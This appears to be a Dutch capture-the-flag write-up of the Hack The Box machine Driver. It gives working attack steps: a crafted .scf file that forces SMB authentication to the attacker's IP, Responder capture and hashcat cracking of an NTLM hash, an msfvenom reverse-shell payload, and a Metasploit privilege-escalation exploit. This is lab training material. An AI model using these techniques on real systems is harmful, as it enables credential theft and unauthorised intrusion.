HTB-Lab: Driver.htb

HTB-Lab: Driver.htb

Inleiding

  • Moeilijkheidsgraad: easy
  • Onderwerpen: SMB, Windows, PrivEsc

2. Nmap Scan

We beginnen met het uitvoeren van een standaard Nmap-scan.

nmap -sVC 10.10.11.106

We zien dat de volgende poorten openstaan:

  • 80/tcp HTTP
  • 135/tcp SMB
  • 445/tcp SMB
  • 5985/tcp HTTP

3. Enumeratie

We controleren eerst of er een webpagina actief is op poort 80 en krijgen een inlogscherm te zien.


Uit de sectie ‘machine info’ op HTB blijkt dat de standaardinloggegevens admin:admin zijn.

Na het inloggen komen we terecht in de volgende omgeving:

Een Firmware Update Center voor printers.

Na het doorlopen van alle pagina’s stuiten we op een uploadfunctionaliteit.

Op de pagina staat:

Select printer model and upload the respective firmware update to our file share. Our testing team will review the uploads manually and initiates the testing soon. 

De "firmware" die we hier kunnen uploaden gaan naar een 'file share' Een PHP-webshell heeft hier weinig zin, aangezien de upload niet op een webserver terechtkomt.


Daarnaast zijn de shares van de machine goed afgeschermd; poorten 135/tcp en 445/tcp staan dicht of geven geen bruikbare toegang.

Meerdere variaties geprobeerd die geen output geven.

4. Kwetsbaarheid ontdekken

Na wat onderzoek naar mogelijke kwetsbaarheden binnen SMB stuiten we op een Shell Command File (SCF) attack.

SMB Share – SCF File Attacks
SMB is a protocol which is widely used across organisations for file sharing purposes. It is not uncommon during internal penetration tests to discover a file share which contains sensitive informa…

Met een SCF-aanval kunnen we mogelijk een SMB-connectie uitlokken. De bijbehorende authenticatiepoging kunnen we vervolgens onderscheppen met Responder.

Stap 1: we creëren een .scf-bestand dat dient als trigger voor de aanval.

[Shell]  
Command=2  
IconFile=\\IPvanlocalhost\naamvan\nepshare.ico  
[Taskbar]  
Command=ToggleDesktop

#De file wordt dan

[Shell]  
Command=2  
IconFile=\\10.10.14.34\share\testing.ico  
[Taskbar]  
Command=ToggleDesktop

We slaan het bestand op onder de naam exploit.scf.

Stap 2: We zetten Responder klaar om de inkomende SMB-authenticatie te onderscheppen.

sudo responder -I tun0

Stap 3: Het uploaden van exploit.scf

Daarna klikken we op submit en wachten we tot er een connectie wordt gemaakt met onze gedeelde "share".

We zien dat de gebruiker 'Tony' zich connect aan onze SMB-share.

We onderscheppen een NTLM-hash en bewaren deze in een tekstbestand voor verdere analyse.

echo 'tony::DRIVER:a8066cb43e16a882:6B2895B6057701F32C259FEF3682D953:010100000000000080902C542AADDB0103CD9D04A3DEE42C0000000002000800560035005300520001001E00570049004E002D003100520044005900310056004A0053005A003500360004003400570049004E002D003100520044005900310056004A0053005A00350036002E0056003500530052002E004C004F00430041004C000300140056003500530052002E004C004F00430041004C000500140056003500530052002E004C004F00430041004C000700080080902C542AADDB0106000400020000000800300030000000000000000000000000200000AEC659FEFF5D669F946279506425EB539BEFCE1C7BF8846C76F9520DD875D4340A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310036002E003200000000000000000000000000' > tony-hash.txt

Met hashcat kraken we de hash:

hashcat -m 5600 tony-hash.txt /usr/share/wordlists/rockyou.txt
Password: liltony

5. Exploitatie (Foothold)

Met het verkregen wachtwoord leggen we via Evil-WinRM een verbinding met de machine.
Hiermee verkrijgen we een foothold in de vorm van een PowerShell-sessie.

Op de Desktop van Tony vinden we de eerste flag


6. Privilege Escalation

Na het uploaden en uitvoeren van WinPEAS.exe op de targetmachine stuiten we op een interessant bestand: ConsoleHost_History.txt.

In het bestand zien we dat er een specifieke driver aan het systeem is toegevoegd.

Na het opzoeken van de driver via Google ontdekken we dat er een bekende kwetsbaarheid aan gekoppeld is.

CVE-2019-19363

Ricoh Driver - Privilege Escalation (Metasploit)
Ricoh Driver - Privilege Escalation (Metasploit). CVE-2019-19363 . local exploit for Windows platform

Er blijkt een exploitmodule beschikbaar te zijn in het Metasploit Framework om deze kwetsbaarheid te misbruiken en zo verhoogde rechten op het systeem te verkrijgen.

Om hiervan gebruik te maken, moeten we onze sessie met de target overzetten naar Metasploit.

Hiervoor genereren we met msfvenom een payload die een reverse shell opzet, zodat we de connectie kunnen opvangen met de multi/handler van Metasploit.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.2 LPORT=1234 -f exe -o reverse_shell.exe

We verplaatsen de payload naar de target host via de huidige PowerShell sessie.

We stellen de multi/handler in en execute de reverse_shell.exe via de target.

Ik heb nu een shell via de meterpreter van Metasploit

We gaan nu opzoek naar de Ricoh Driver Exploit

Gevonden. Maar voordat we de module succesvol kunnen uitvoeren, moeten we de payload eerst migreren naar een andere service — dit is nodig om privilege escalation mogelijk te maken.

We migreren naar explorer.exe met PID 4448.

Daarna configureren we de module ricoh_driver_privesc zodat deze klaar is voor uitvoering.

set PAYLOAD windows/x64/meterpreter/reverse_tcp #payload moet kloppen met de architectuur
set LHOST 10.10.16.2
set LPORT 4444
set SESSION 2 #dezelfde session als de sessie met de target

We draaien de payload en krijgen een Meterpreter-sessie binnen.
Met het commando getuid bevestigen we dat we nu beschikken over NT AUTHORITY\SYSTEM-rechten.